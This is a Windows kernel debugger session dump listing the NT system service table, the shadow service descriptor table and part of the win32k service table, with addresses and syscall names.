80f1fd8c  8129df2e nt!NtSuspendProcess

80f1fd90  810e893c nt!NtSubscribeWnfStateChange

80f1fd94  812d0fe5 nt!NtStopProfile

80f1fd98  812d0df2 nt!NtStartProfile

80f1fd9c  80e39616 nt!NtSinglePhaseReject

80f1fda0  80fc3d27 nt!NtSignalAndWaitForSingleObject

80f1fda4  80ef6156 nt!NtShutdownWorkerFactory

80f1fda8  812c8079 nt!NtShutdownSystem

80f1fdac  8115c942 nt!NtSetWnfProcessNotificationEvent

80f1fdb0  81087c2c nt!NtSetVolumeInformationFile

80f1fdb4  810ef68e nt!NtSetValueKey

80f1fdb8  811aa3aa nt!NtSetUuidSeed

80f1fdbc  81087550 nt!NtSetTimerResolution

80f1fdc0  80ea0590 nt!NtSetTimerEx

80f1fdc4  80ef861a nt!NtSetTimer

80f1fdc8  810d651e nt!NtSetThreadExecutionState

80f1fdcc  8108aa0a nt!NtSetSystemTime

80f1fdd0  8106e2bc nt!NtSetSystemPowerState

80f1fdd4  811517fa nt!NtSetSystemInformation

80f1fdd8  812ce167 nt!NtSetSystemEnvironmentValueEx

80f1fddc  812cde6b nt!NtSetSystemEnvironmentValue

80f1fde0  810cf81c nt!NtSetSecurityObject

80f1fde4  8125b2f7 nt!NtSetQuotaInformationFile

80f1fde8  811b145c nt!NtSetLowEventPair

80f1fdec  811b145c nt!NtSetLowEventPair

80f1fdf0  8129ec27 nt!NtSetLdtEntries

80f1fdf4  80ef8722 nt!NtSetIRTimer

80f1fdf8  80e806fe nt!NtSetTimer2

80f1fdfc  80e80656 nt!NtCancelTimer2

80f1fe00  812597cc nt!NtSetIoCompletionEx

80f1fe04  8114a062 nt!NtSetIoCompletion

80f1fe08  812d0da0 nt!NtSetIntervalProfile

80f1fe0c  80e82380 nt!NtSetInformationWorkerFactory

80f1fe10  80e3961c nt!NtSetInformationTransactionManager

80f1fe14  80e39544 nt!NtSetInformationTransaction

80f1fe18  8113a87e nt!NtSetInformationToken

80f1fe1c  81119310 nt!NtSetInformationThread

80f1fe20  80e3953e nt!NtSetInformationResourceManager

80f1fe24  811042a0 nt!NtSetInformationProcess

80f1fe28  81157090 nt!NtSetInformationObject

80f1fe2c  8123f348 nt!NtSetInformationKey

80f1fe30  810e3d08 nt!NtSetInformationJobObject

80f1fe34  80e8cb10 nt!NtSetInformationFile

80f1fe38  80e39538 nt!NtSetInformationEnlistment

80f1fe3c  8124f661 nt!NtSetInformationDebugObject

80f1fe40  811b145c nt!NtSetLowEventPair

80f1fe44  811b145c nt!NtSetLowEventPair

80f1fe48  812c8b59 nt!NtSetEventBoostPriority

80f1fe4c  810b85d0 nt!NtSetEvent

80f1fe50  8125a5cf nt!NtSetEaFile

80f1fe54  812cdc47 nt!NtSetDriverEntryOrder

80f1fe58  81181c70 nt!NtSetDefaultUILanguage

80f1fe5c  81181ab2 nt!NtSetDefaultLocale

80f1fe60  811afe42 nt!NtSetDefaultHardErrorPort

80f1fe64  8118ec4c nt!NtSetDebugFilterState

80f1fe68  8129adda nt!NtSetContextThread

80f1fe6c  812a7edc nt!NtSetCachedSigningLevel

80f1fe70  812cda28 nt!NtSetBootOptions

80f1fe74  812cd804 nt!NtSetBootEntryOrder

80f1fe78  811b0006 nt!NtSerializeBoot

80f1fe7c  810cfa9a nt!NtSecureConnectPort

80f1fe80  8123f1e8 nt!NtSaveMergedKeys

80f1fe84  8123efbb nt!NtSaveKeyEx

80f1fe88  8123edd0 nt!NtSaveKey

80f1fe8c  80e39622 nt!NtRollforwardTransactionManager

80f1fe90  80e39532 nt!NtRollbackTransaction

80f1fe94  80e3952c nt!NtRollbackEnlistment

80f1fe98  80e39526 nt!NtRollbackComplete

80f1fe9c  8110ffde nt!NtResumeThread

80f1fea0  8129decb nt!NtResumeProcess

80f1fea4  8123ebb3 nt!NtRestoreKey

80f1fea8  80e396f0 nt!NtResetWriteWatch

80f1feac  8115851a nt!NtResetEvent

80f1feb0  81154db2 nt!NtRequestWaitReplyPort

80f1feb4  81166e70 nt!NtRequestPort

80f1feb8  8127eb95 nt!NtReplyWaitReplyPort

80f1febc  810d03d0 nt!NtReplyWaitReceivePortEx

80f1fec0  810d03a6 nt!NtReplyWaitReceivePort

80f1fec4  811596e2 nt!NtReplyPort

80f1fec8  8100884e nt!NtReplacePartitionUnit

80f1fecc  8123e95c nt!NtReplaceKey

80f1fed0  80e39628 nt!NtRenameTransactionManager

80f1fed4  8123e5fd nt!NtRenameKey

80f1fed8  8124f587 nt!NtRemoveProcessDebug

80f1fedc  8115e190 nt!NtRemoveIoCompletionEx

80f1fee0  8114b480 nt!NtRemoveIoCompletion

80f1fee4  80ea3020 nt!NtReleaseWorkerFactoryWorker

80f1fee8  810cf160 nt!NtReleaseSemaphore

80f1feec  810fc200 nt!NtReleaseMutant

80f1fef0  81169416 nt!NtReleaseKeyedEvent

80f1fef4  81168de0 nt!NtRegisterThreadTerminatePort

80f1fef8  80e3962e nt!NtRegisterProtocolAddressInformation

80f1fefc  80e39520 nt!NtRecoverTransactionManager

80f1ff00  80e3951a nt!NtRecoverResourceManager

80f1ff04  80e39514 nt!NtRecoverEnlistment

80f1ff08  810b1778 nt!NtReadVirtualMemory

80f1ff0c  8127eb2b nt!NtReadRequestData

80f1ff10  80e3950e nt!NtReadOnlyEnlistment

80f1ff14  81169d60 nt!NtReadFileScatter

80f1ff18  81122840 nt!NtReadFile

80f1ff1c  812ced27 nt!NtRaiseHardError

80f1ff20  80f30ec4 nt!NtRaiseException

80f1ff24  81162aae nt!NtQueueApcThreadEx

80f1ff28  81162a8a nt!NtQueueApcThread

80f1ff2c  810e85b8 nt!NtQueryWnfStateData

80f1ff30  811616a0 nt!NtQueryWnfStateNameInformation

80f1ff34  81122ee0 nt!NtQueryVolumeInformationFile

80f1ff38  810aca70 nt!NtQueryVirtualMemory

80f1ff3c  810c0740 nt!NtQueryValueKey

80f1ff40  811670ec nt!NtQueryTimerResolution

80f1ff44  812c89bb nt!NtQueryTimer

80f1ff48  811280f0 nt!NtQuerySystemTime

80f1ff4c  81158a78 nt!NtQuerySystemInformationEx

80f1ff50  810ca532 nt!NtQuerySystemInformation

80f1ff54  81188804 nt!NtQuerySystemEnvironmentValueEx

80f1ff58  812cd4e1 nt!NtQuerySystemEnvironmentValue

80f1ff5c  8114b1d0 nt!NtQuerySymbolicLinkObject

80f1ff60  812cefdc nt!NtQuerySemaphore

80f1ff64  81106c0c nt!NtQuerySecurityObject

80f1ff68  81123340 nt!NtQuerySecurityAttributesToken

80f1ff6c  81168e8c nt!NtQuerySection

80f1ff70  8125ac48 nt!NtQueryQuotaInformationFile

80f1ff74  811b1734 nt!NtQueryPortInformationProcess

80f1ff78  8114da0c nt!NtQueryPerformanceCounter

80f1ff7c  8123e38f nt!NtQueryOpenSubKeysEx

80f1ff80  8123e21a nt!NtQueryOpenSubKeys

80f1ff84  8110e950 nt!NtQueryObject

80f1ff88  812d10a0 nt!NtQueryMutant

80f1ff8c  810f5404 nt!NtQueryMultipleValueKey

80f1ff90  811316c2 nt!NtQueryLicenseValue

80f1ff94  8113df60 nt!NtQueryKey

80f1ff98  812596af nt!NtQueryIoCompletion

80f1ff9c  8108b4e6 nt!NtQueryIntervalProfile

80f1ffa0  81168fc8 nt!NtQueryInstallUILanguage

80f1ffa4  80ffeaf7 nt!NtQueryInformationWorkerFactory

80f1ffa8  80e39508 nt!NtQueryInformationTransactionManager

80f1ffac  80e39502 nt!NtQueryInformationTransaction

80f1ffb0  81120d90 nt!NtQueryInformationToken

80f1ffb4  81114160 nt!NtQueryInformationThread

80f1ffb8  80e394fc nt!NtQueryInformationResourceManager

80f1ffbc  810fdcc0 nt!NtQueryInformationProcess

80f1ffc0  8127ea4d nt!NtQueryInformationPort

80f1ffc4  8116756c nt!NtQueryInformationJobObject

80f1ffc8  811204e0 nt!NtQueryInformationFile

80f1ffcc  80e394f6 nt!NtQueryInformationEnlistment

80f1ffd0  811512a4 nt!NtQueryInformationAtom

80f1ffd4  8110be72 nt!NtQueryFullAttributesFile

80f1ffd8  81163ec8 nt!NtQueryEvent

80f1ffdc  81150fa8 nt!NtQueryEaFile

80f1ffe0  812cd19a nt!NtQueryDriverEntryOrder

80f1ffe4  81137d10 nt!NtQueryDirectoryObject

80f1ffe8  811372c0 nt!NtQueryDirectoryFile

80f1ffec  811822bc nt!NtQueryDefaultUILanguage

80f1fff0  8115be92 nt!NtQueryDefaultLocale

80f1fff4  80e7a684 nt!NtQueryDebugFilterState

80f1fff8  812cce9b nt!NtQueryBootOptions

80f1fffc  812ccc48 nt!NtQueryBootEntryOrder

80f20000  8110c120 nt!NtQueryAttributesFile

80f20004  8114a4ee nt!NtPulseEvent

80f20008  8112ac10 nt!NtProtectVirtualMemory

80f2000c  80e394f0 nt!NtPropagationFailed

80f20010  80e394ea nt!NtPropagationComplete

80f20014  81183446 nt!NtPrivilegeObjectAuditAlarm

80f20018  81162d44 nt!NtPrivilegedServiceAuditAlarm

80f2001c  8113b4a8 nt!NtPrivilegeCheck

80f20020  8114dd26 nt!NtSetInformationVirtualMemory

80f20024  80e394d8 nt!NtPrePrepareEnlistment

80f20028  80e394d2 nt!NtPrePrepareComplete

80f2002c  80e394e4 nt!NtPrepareEnlistment

80f20030  80e394de nt!NtPrepareComplete

80f20034  810d4068 nt!NtPowerInformation

80f20038  810a2928 nt!NtPlugPlayControl

80f2003c  80e394cc nt!NtOpenTransactionManager

80f20040  80e394c6 nt!NtOpenTransaction

80f20044  812c8902 nt!NtOpenTimer

80f20048  810c65e0 nt!NtOpenThreadTokenEx

80f2004c  810c65ba nt!NtOpenThreadToken

80f20050  810cd0b4 nt!NtOpenThread

80f20054  8114bed0 nt!NtOpenSymbolicLinkObject

80f20058  8116809a nt!NtOpenSession

80f2005c  81164446 nt!NtOpenSemaphore

80f20060  8114cea0 nt!NtOpenSection

80f20064  80e394c0 nt!NtOpenResourceManager

80f20068  810c96c0 nt!NtOpenProcessTokenEx

80f2006c  810c9602 nt!NtOpenProcessToken

80f20070  810c97b8 nt!NtOpenProcess

80f20074  8113c19c nt!NtOpenPrivateNamespace

80f20078  81162f2c nt!NtOpenObjectAuditAlarm

80f2007c  8114c408 nt!NtOpenMutant

80f20080  81087352 nt!NtOpenKeyTransactedEx

80f20084  8108745a nt!NtOpenKeyTransacted

80f20088  810c0710 nt!NtOpenKeyEx

80f2008c  812d00ef nt!NtOpenKeyedEvent

80f20090  8114b9e0 nt!NtOpenKey

80f20094  8129aeab nt!NtOpenJobObject

80f20098  812595f2 nt!NtOpenIoCompletion

80f2009c  8110c0a0 nt!NtOpenFile

80f200a0  812d00e2 nt!NtCreateEventPair

80f200a4  811576d4 nt!NtOpenEvent

80f200a8  80e394ba nt!NtOpenEnlistment

80f200ac  8114e392 nt!NtOpenDirectoryObject

80f200b0  811849a0 nt!NtNotifyChangeSession

80f200b4  81140ca2 nt!NtNotifyChangeMultipleKeys

80f200b8  81140c6c nt!NtNotifyChangeKey

80f200bc  8115d93e nt!NtNotifyChangeDirectoryFile

80f200c0  812ccc1e nt!NtModifyDriverEntry

80f200c4  812ccbf4 nt!NtModifyBootEntry

80f200c8  810af5c0 nt!NtMapViewOfSection

80f200cc  812860bd nt!NtMapUserPhysicalPagesScatter

80f200d0  81285b13 nt!NtMapUserPhysicalPages

80f200d4  810e36fe nt!NtMapCMFModule

80f200d8  8117a9ea nt!NtMakeTemporaryObject

80f200dc  81289a2e nt!NtMakePermanentObject

80f200e0  80e9320e nt!NtLockVirtualMemory

80f200e4  811a7d46 nt!NtLockRegistryKey

80f200e8  8119ee46 nt!NtLockProductActivationKeys

80f200ec  81115a92 nt!NtLockFile

80f200f0  81143096 nt!NtLoadKeyEx

80f200f4  81188c4c nt!NtLoadKey2

80f200f8  8114070a nt!NtLoadKey

80f200fc  81172408 nt!NtLoadDriver

80f20100  811b03c2 nt!NtListenPort

80f20104  8119c0ae nt!NtIsUILanguageComitted

80f20108  811723f4 nt!NtIsSystemResumeAutomatic

80f2010c  810e3a5e nt!NtIsProcessInJob

80f20110  81170776 nt!NtInitiatePowerAction

80f20114  81187b4c nt!NtInitializeRegistry

80f20118  81158164 nt!NtInitializeNlsFiles

80f2011c  81154c52 nt!NtImpersonateThread

80f20120  8127ea26 nt!NtImpersonateClientOfPort

80f20124  810d780e nt!NtImpersonateAnonymousToken

80f20128  80e39d30 nt!NtGetWriteWatch

80f2012c  80e394b4 nt!NtGetNotificationResourceManager

80f20130  8114e836 nt!NtGetNlsSectionPtr

80f20134  8129e297 nt!NtGetNextThread

80f20138  8116dee6 nt!NtGetNextProcess

80f2013c  810e33d4 nt!NtGetMUIRegistryInfo

80f20140  81292f04 nt!NtGetDevicePowerState

80f20144  81088e92 nt!NtGetCurrentProcessorNumber

80f20148  810860d8 nt!NtGetContextThread

80f2014c  810e7f0c nt!NtGetCompleteWnfStateSubscription

80f20150  812a7d06 nt!NtGetCachedSigningLevel

80f20154  8110e616 nt!NtFsControlFile

80f20158  80e394ae nt!NtFreezeTransactions

80f2015c  80f8a05c nt!NtFreezeRegistry

80f20160  810b2ea0 nt!NtFreeVirtualMemory

80f20164  812855c3 nt!NtFreeUserPhysicalPages

80f20168  8128670b nt!NtFlushWriteBuffer

80f2016c  8115ab8a nt!NtFlushVirtualMemory

80f20170  80e8a87c nt!NtFlushProcessWriteBuffers

80f20174  8116610c nt!NtFlushKey

80f20178  81161138 nt!xHalIommuMapDevice

80f2017c  811af77a nt!NtFlushInstallUILanguage

80f20180  8115e2b8 nt!NtFlushBuffersFile

80f20184  8115e2d6 nt!NtFlushBuffersFileEx

80f20188  81123bf0 nt!NtFindAtom

80f2018c  81138e26 nt!NtFilterToken

80f20190  812a867a nt!NtFilterTokenEx

80f20194  812ade91 nt!NtFilterBootOption

80f20198  81282c6c nt!NtExtendSection

80f2019c  8113e7a0 nt!NtEnumerateValueKey

80f201a0  80e394a8 nt!NtEnumerateTransactionObject

80f201a4  812cc8fd nt!NtEnumerateSystemEnvironmentValuesEx

80f201a8  8113eb90 nt!NtEnumerateKey

80f201ac  812cc4a6 nt!NtEnumerateDriverEntries

80f201b0  812cbf8e nt!NtEnumerateBootEntries

80f201b4  812f4732 nt!NtEnableLastKnownGood

80f201b8  810cd7ca nt!NtDuplicateToken

80f201bc  811018e0 nt!NtDuplicateObject

80f201c0  80ffc451 nt!NtDrawText

80f201c4  812c7ebd nt!NtDisplayString

80f201c8  812f463b nt!NtDisableLastKnownGood

80f201cc  810b91a0 nt!NtDeviceIoControlFile

80f201d0  8115a382 nt!NtDeleteWnfStateName

80f201d4  811ad2ce nt!NtDeleteWnfStateData

80f201d8  810f4630 nt!NtDeleteValueKey

80f201dc  8108b468 nt!NtDeletePrivateNamespace

80f201e0  812ac452 nt!NtDeleteObjectAuditAlarm

80f201e4  810eaddc nt!NtDeleteKey

80f201e8  81259993 nt!NtDeleteFile

80f201ec  812cbdc5 nt!NtDeleteDriverEntry

80f201f0  812cbbfc nt!NtDeleteBootEntry

80f201f4  8114e518 nt!NtDeleteAtom

80f201f8  810a9320 nt!NtDelayExecution

80f201fc  8124f394 nt!NtDebugContinue

80f20200  8124f23c nt!NtDebugActiveProcess

80f20204  810fcf8e nt!NtCreateWorkerFactory

80f20208  810e7c0a nt!NtCreateWnfStateName

80f2020c  811509c4 nt!NtCreateWaitCompletionPacket

80f20210  81188986 nt!NtCreateWaitablePort

80f20214  81100b6a nt!NtCreateUserProcess

80f20218  80e394a2 nt!NtCreateTransactionManager

80f2021c  80e3949c nt!NtCreateTransaction

80f20220  812ad2b2 nt!NtCreateToken

80f20224  81085668 nt!NtCreateLowBoxToken

80f20228  8113978e nt!NtCreateTokenEx

80f2022c  810a9090 nt!NtCreateTimer

80f20230  810a7af0 nt!NtCreateThreadEx

80f20234  81299806 nt!NtCreateThread

80f20238  81160bec nt!NtCreateSymbolicLinkObject

80f2023c  810a9228 nt!NtCreateSemaphore

80f20240  810ae180 nt!NtCreateSection

80f20244  80e39496 nt!NtCreateResourceManager

80f20248  812d0d6d nt!NtCreateProfileEx

80f2024c  812d0cdf nt!NtCreateProfile

80f20250  81299779 nt!NtCreateProcessEx

80f20254  81299733 nt!NtCreateProcess

80f20258  811393d4 nt!NtCreatePrivateNamespace

80f2025c  8118841c nt!NtCreatePort

80f20260  811a1818 nt!NtCreatePagingFile

80f20264  8110b514 nt!NtCreateNamedPipeFile

80f20268  810e1a2a nt!NtCreateMutant

80f2026c  8116932c nt!NtCreateMailslotFile

80f20270  81086ee6 nt!NtCreateKeyTransacted

80f20274  811a8f0e nt!NtCreateKeyedEvent

80f20278  8114bfcc nt!NtCreateKey

80f2027c  8129ae9e nt!NtCreateJobSet

80f20280  811474d8 nt!NtCreateJobObject

80f20284  811b0e50 nt!NtCreateIRTimer

80f20288  810fd226 nt!NtCreateTimer2

80f2028c  811568f4 nt!NtCreateIoCompletion

80f20290  8110c0e0 nt!NtCreateFile

80f20294  812d00e2 nt!NtCreateEventPair

80f20298  810c47a0 nt!NtCreateEvent

80f2029c  80e39490 nt!NtCreateEnlistment

80f202a0  8108bf40 nt!NtCreateDirectoryObjectEx

80f202a4  811573b0 nt!NtCreateDirectoryObject

80f202a8  8124f11d nt!NtCreateDebugObject

80f202ac  80f30e10 nt!NtContinue

80f202b0  810cfece nt!NtConnectPort

80f202b4  8123e0f6 nt!NtCompressKey

80f202b8  8116a112 nt!xHalPowerSetRebootHandler

80f202bc  810882d4 nt!NtCompareTokens

80f202c0  8123debb nt!NtCompactKeys

80f202c4  80e3948a nt!NtCommitTransaction

80f202c8  80e39484 nt!NtCommitEnlistment

80f202cc  80e3947e nt!NtCommitComplete

80f202d0  81154382 nt!NtCloseObjectAuditAlarm

80f202d4  810b76e0 nt!NtClose

80f202d8  81140640 nt!NtClearEvent

80f202dc  80e80d94 nt!NtCancelWaitCompletionPacket

80f202e0  80ef2972 nt!NtCancelTimer

80f202e4  8125989b nt!NtCancelSynchronousIoFile

80f202e8  81114ef8 nt!NtCancelIoFileEx

80f202ec  811642be nt!NtCancelIoFile

80f202f0  80f1fc14 nt!NtCallbackReturn

80f202f4  80e83e20 nt!NtAssociateWaitCompletionPacket

80f202f8  810e4e38 nt!NtAssignProcessToJobObject

80f202fc  81280d64 nt!NtAreMappedFilesTheSame

80f20300  811124fe nt!NtApphelpCacheControl

80f20304  81149af4 nt!NtAlpcSetInformation

80f20308  810bbf70 nt!NtAlpcSendWaitReceivePort

80f2030c  8127fbd1 nt!NtAlpcRevokeSecurityContext

80f20310  8113cf94 nt!NtAlpcQueryInformationMessage

80f20314  8113dd44 nt!NtAlpcQueryInformation

80f20318  8115d2e2 nt!NtAlpcOpenSenderThread

80f2031c  8115d032 nt!NtAlpcOpenSenderProcess

80f20320  8111a590 nt!NtAlpcImpersonateClientOfPort

80f20324  810f99a8 nt!NtAlpcDisconnectPort

80f20328  81155c02 nt!NtAlpcDeleteSecurityContext

80f2032c  81155a7c nt!NtAlpcDeleteSectionView

80f20330  81280298 nt!NtAlpcDeleteResourceReserve

80f20334  8115883a nt!NtAlpcDeletePortSection

80f20338  810d0dda nt!NtAlpcCreateSecurityContext

80f2033c  810a9bbc nt!NtAlpcCreateSectionView

80f20340  8115e58c nt!NtAlpcCreateResourceReserve

80f20344  810d0c58 nt!NtAlpcCreatePortSection

80f20348  8115d6ce nt!NtAlpcCreatePort

80f2034c  810cf6ec nt!NtAlpcConnectPort

80f20350  810d2e6a nt!NtAlpcConnectPortEx

80f20354  811492ba nt!NtAlpcCancelMessage

80f20358  810cf0e4 nt!NtAlpcAcceptConnectPort

80f2035c  810b2000 nt!NtAllocateVirtualMemory

80f20360  811483f8 nt!NtAllocateUuids

80f20364  81285047 nt!NtAllocateUserPhysicalPages

80f20368  81299c44 nt!NtAllocateReserveObject

80f2036c  8114a400 nt!NtAllocateLocallyUniqueId

80f20370  810cd0f0 nt!NtAlertThreadByThreadId

80f20374  8129de6e nt!NtAlertThread

80f20378  8129dd6e nt!NtAlertResumeThread

80f2037c  8113b700 nt!NtAdjustPrivilegesToken

80f20380  8113905e nt!NtAdjustGroupsToken

80f20384  812a866d nt!NtAdjustTokenClaimsAndDeviceGroups

80f20388  812cbbd0 nt!NtAddDriverEntry

80f2038c  812cbba4 nt!NtAddBootEntry

80f20390  812cf158 nt!NtAddAtom

80f20394  810a7360 nt!NtAddAtomEx

80f20398  812ac40c nt!NtAccessCheckByTypeResultListAndAuditAlarmByHandle

80f2039c  812ac3c8 nt!NtAccessCheckByTypeResultListAndAuditAlarm

80f203a0  80fdc84f nt!NtAccessCheckByTypeResultList

80f203a4  810ca4ee nt!NtAccessCheckByTypeAndAuditAlarm

80f203a8  80ef2278 nt!NtAccessCheckByType

80f203ac  8115cde2 nt!NtAccessCheckAndAuditAlarm

---------------------------------------------------------------------------------------------

kd> dds KeServiceDescriptorTableShadow

8105fc40  80f1fcec nt!KiServiceTable

8105fc44  00000000

8105fc48  000001b1

8105fc4c  80f203b4 nt!KiArgumentTable

8105fc50  8e177000 win32k!W32pServiceTable

8105fc54  00000000

8105fc58  00000441

8105fc5c  8e178554 win32k!W32pArgumentTable

8105fc60  77dae1e0

8105fc64  00012a07

8105fc68  00a38a95

8105fc6c  00000000

8105fc70  0002625a

8105fc74  00001388

8105fc78  00000000

8105fc7c  8660175a cng!EntropyTimingCallback

8105fc80  80f1fcec nt!KiServiceTable

8105fc84  00000000

8105fc88  000001b1

8105fc8c  80f203b4 nt!KiArgumentTable

8105fc90  00000000

8105fc94  00000000

8105fc98  00000000

8105fc9c  00000000

8105fca0  a0cf3fff

8105fca4  00000000

8105fca8  ffffffff

8105fcac  80f3247a nt!FinalExceptionHandlerPad42

8105fcb0  06060000

8105fcb4  00000000

8105fcb8  00000000

8105fcbc  00000000

-------------------------------------------------------------------------------------------------------

kd> !process 0 0

PROCESS afa946c0  SessionId: 1  Cid: 0e88    Peb: 7f474000  ParentCid: 0e1c

    DirBase: 3fff2460  ObjectTable: a2752480  HandleCount: <Data Not Accessible>

    Image: explorer.exe

kd> .process afa946c0

Implicit process is now afa946c0

kd> dps W32pServiceTable l441

8e177000  8e1717d4 win32k!NtUserGetOwnerTransformedMonitorRect

8e177004  8e1717e0 win32k!NtUserYieldTask

8e177008  8e1717ec win32k!NtUserSetSensorPresence

8e17700c  8e1717f8 win32k!NtGdiWidenPath

8e177010  8e171804 win32k!NtGdiUpdateColors

8e177014  8e171810 win32k!NtGdiUnrealizeObject

8e177018  8e17181c win32k!NtGdiUnmapMemFont

8e17701c  8e171828 win32k!NtGdiUnloadPrinterDriver

8e177020  8e171834 win32k!NtGdiTransparentBlt

8e177024  8e171840 win32k!NtGdiTransformPoints

8e177028  8e17184c win32k!NtGdiSwapBuffers

8e17702c  8e171858 win32k!NtGdiStrokePath

8e177030  8e171864 win32k!NtGdiStrokeAndFillPath

8e177034  8e171870 win32k!NtGdiStretchDIBitsInternal

8e177038  8e17187c win32k!NtGdiStretchBlt

8e17703c  8e171888 win32k!NtGdiStartPage

8e177040  8e171894 win32k!NtGdiStartDoc

8e177044  8e1718a0 win32k!NtGdiSetSizeDevice

8e177048  8e1718ac win32k!NtGdiSetVirtualResolution

8e17704c  8e1718b8 win32k!NtGdiSetTextJustification

8e177050  8e1718c4 win32k!NtGdiSetSystemPaletteUse

8e177054  8e1718d0 win32k!NtGdiSetRectRgn

8e177058  8e1718dc win32k!NtGdiSetPixelFormat

8e17705c  8e1718e8 win32k!NtGdiSetPixel

8e177060  8e1718f4 win32k!NtGdiSetOPMSigningKeyAndSequenceNumbers

8e177064  8e171900 win32k!NtGdiSetLayout

8e177068  8e17190c win32k!NtGdiMirrorWindowOrg

8e17706c  8e171918 win32k!NtGdiGetDeviceWidth

8e177070  8e171924 win32k!NtGdiSetMiterLimit

8e177074  8e171930 win32k!NtGdiSetMetaRgn

8e177078  8e17193c win32k!NtGdiSetMagicColors

8e17707c  8e171948 win32k!NtGdiSetLinkedUFIs

8e177080  8e171954 win32k!NtGdiSetIcmMode

8e177084  8e171960 win32k!NtGdiSetFontXform

8e177088  8e17196c win32k!NtGdiSetFontEnumeration

8e17708c  8e171978 win32k!NtGdiSetDIBitsToDeviceInternal

8e177090  8e171984 win32k!NtGdiSetDeviceGammaRamp

8e177094  8e171990 win32k!NtGdiSetColorSpace

8e177098  8e17199c win32k!NtGdiSetColorAdjustment

8e17709c  8e1719a8 win32k!NtGdiSetBrushOrg

8e1770a0  8e1719b4 win32k!NtGdiSetBrushAttributes

8e1770a4  8e1719c0 win32k!NtGdiSetBoundsRect

8e1770a8  8e1719cc win32k!NtGdiSetBitmapDimension

8e1770ac  8e1719d8 win32k!NtGdiSetBitmapBits

8e1770b0  8e1719e4 win32k!NtGdiSetBitmapAttributes

8e1770b4  8e1719f0 win32k!NtGdiSelectPen

8e1770b8  8e1719fc win32k!NtGdiSelectFont

8e1770bc  8e171a08 win32k!NtGdiSelectClipPath

8e1770c0  8e171a14 win32k!NtGdiSelectBrush

8e1770c4  8e171a20 win32k!NtGdiSelectBitmap

8e1770c8  8e171a2c win32k!NtGdiScaleWindowExtEx

8e1770cc  8e171a38 win32k!NtGdiScaleViewportExtEx

8e1770d0  8e171a44 win32k!NtGdiSaveDC

8e1770d4  8e171a50 win32k!NtGdiRoundRect

8e1770d8  8e171a5c win32k!NtGdiRestoreDC

8e1770dc  8e171a68 win32k!NtGdiResizePalette

8e1770e0  8e171a74 win32k!NtGdiResetDC

8e1770e4  8e171a80 win32k!NtGdiRemoveFontMemResourceEx

8e1770e8  8e171a8c win32k!NtGdiRemoveFontResourceW

8e1770ec  8e171a98 win32k!NtGdiRectVisible

8e1770f0  8e171aa4 win32k!NtGdiRectInRegion

8e1770f4  8e171ab0 win32k!NtGdiRectangle

8e1770f8  8e171abc win32k!NtGdiQueryFontAssocInfo

8e1770fc  8e171ac8 win32k!NtGdiQueryFonts

8e177100  8e171ad4 win32k!NtGdiPtVisible

8e177104  8e171ae0 win32k!NtGdiPtInRegion

8e177108  8e171aec win32k!NtGdiPolyTextOutW

8e17710c  8e171af8 win32k!NtGdiPolyPolyDraw

8e177110  8e171b04 win32k!NtGdiPolyDraw

8e177114  8e171b10 win32k!NtGdiPlgBlt

8e177118  8e171b1c win32k!NtGdiPathToRegion

8e17711c  8e171b28 win32k!NtGdiPolyPatBlt

8e177120  8e171b34 win32k!NtGdiPatBlt

8e177124  8e171b40 win32k!NtGdiOpenDCW

8e177128  8e171b4c win32k!NtGdiOffsetRgn

8e17712c  8e171b58 win32k!NtGdiOffsetClipRgn

8e177130  8e171b64 win32k!NtGdiMoveTo

8e177134  8e171b70 win32k!NtGdiMonoBitmap

8e177138  8e171b7c win32k!NtGdiModifyWorldTransform

8e17713c  8e171b88 win32k!NtGdiMaskBlt

8e177140  8e171b94 win32k!NtGdiMakeInfoDC

8e177144  8e171ba0 win32k!NtGdiMakeFontDir

8e177148  8e171bac win32k!NtGdiLineTo

8e17714c  8e171bb8 win32k!NtGdiInvertRgn

8e177150  8e171bc4 win32k!NtGdiIntersectClipRect

8e177154  8e171bd0 win32k!NtGdiInitSpool

8e177158  8e171bdc win32k!NtGdiInit

8e17715c  8e171be8 win32k!NtGdiIcmBrushInfo

8e177160  8e171bf4 win32k!NtGdiHfontCreate

8e177164  8e171c00 win32k!NtGdiGradientFill

8e177168  8e171c0c win32k!NtGdiGetWidthTable

8e17716c  8e171c18 win32k!NtGdiGetFontUnicodeRanges

8e177170  8e171c24 win32k!NtGdiAddEmbFontToDC

8e177174  8e171c30 win32k!NtGdiChangeGhostFont

8e177178  8e171c3c win32k!NtGdiGetEmbedFonts

8e17717c  8e171c48 win32k!NtGdiGetUFIPathname

8e177180  8e171c54 win32k!NtGdiGetEmbUFI

8e177184  8e171c60 win32k!NtGdiGetUFI

8e177188  8e171c6c win32k!NtGdiGetTransform

8e17718c  8e171c78 win32k!NtGdiGetTextMetricsW

8e177190  8e171c84 win32k!NtGdiGetTextFaceW

8e177194  8e171c90 win32k!NtGdiGetTextExtentExW

8e177198  8e171c9c win32k!NtGdiGetTextExtent

8e17719c  8e171ca8 win32k!NtGdiGetTextCharsetInfo

8e1771a0  8e171cb4 win32k!NtGdiGetSystemPaletteUse

8e1771a4  8e171cc0 win32k!NtGdiGetSuggestedOPMProtectedOutputArraySize

8e1771a8  8e171ccc win32k!NtGdiGetStringBitmapW

8e1771ac  8e171cd8 win32k!NtGdiGetStockObject

8e1771b0  8e171ce4 win32k!NtGdiGetStats

8e1771b4  8e171cf0 win32k!NtGdiGetSpoolMessage

8e1771b8  8e171cfc win32k!NtGdiGetServerMetaFileBits

8e1771bc  8e171d08 win32k!NtGdiGetRgnBox

8e1771c0  8e171d14 win32k!NtGdiGetRegionData

8e1771c4  8e171d20 win32k!NtGdiGetRealizationInfo

8e1771c8  8e171d2c win32k!NtGdiGetRasterizerCaps

8e1771cc  8e171d38 win32k!NtGdiGetRandomRgn

8e1771d0  8e171d44 win32k!NtGdiGetPixel

8e1771d4  8e171d50 win32k!NtGdiGetPath

8e1771d8  8e171d5c win32k!NtGdiGetOutlineTextMetricsInternalW

8e1771dc  8e171d68 win32k!NtGdiGetOPMRandomNumber

8e1771e0  8e171d74 win32k!NtGdiGetObjectBitmapHandle

8e1771e4  8e171d80 win32k!NtGdiGetNearestPaletteIndex

8e1771e8  8e171d8c win32k!NtGdiGetNearestColor

8e1771ec  8e171d98 win32k!NtGdiGetMonitorID

8e1771f0  8e171da4 win32k!NtGdiGetMiterLimit

8e1771f4  8e171db0 win32k!NtGdiGetLinkedUFIs

8e1771f8  8e171dbc win32k!NtGdiGetKerningPairs

8e1771fc  8e171dc8 win32k!NtGdiGetOPMInformation

8e177200  8e171dd4 win32k!NtGdiGetGlyphOutline

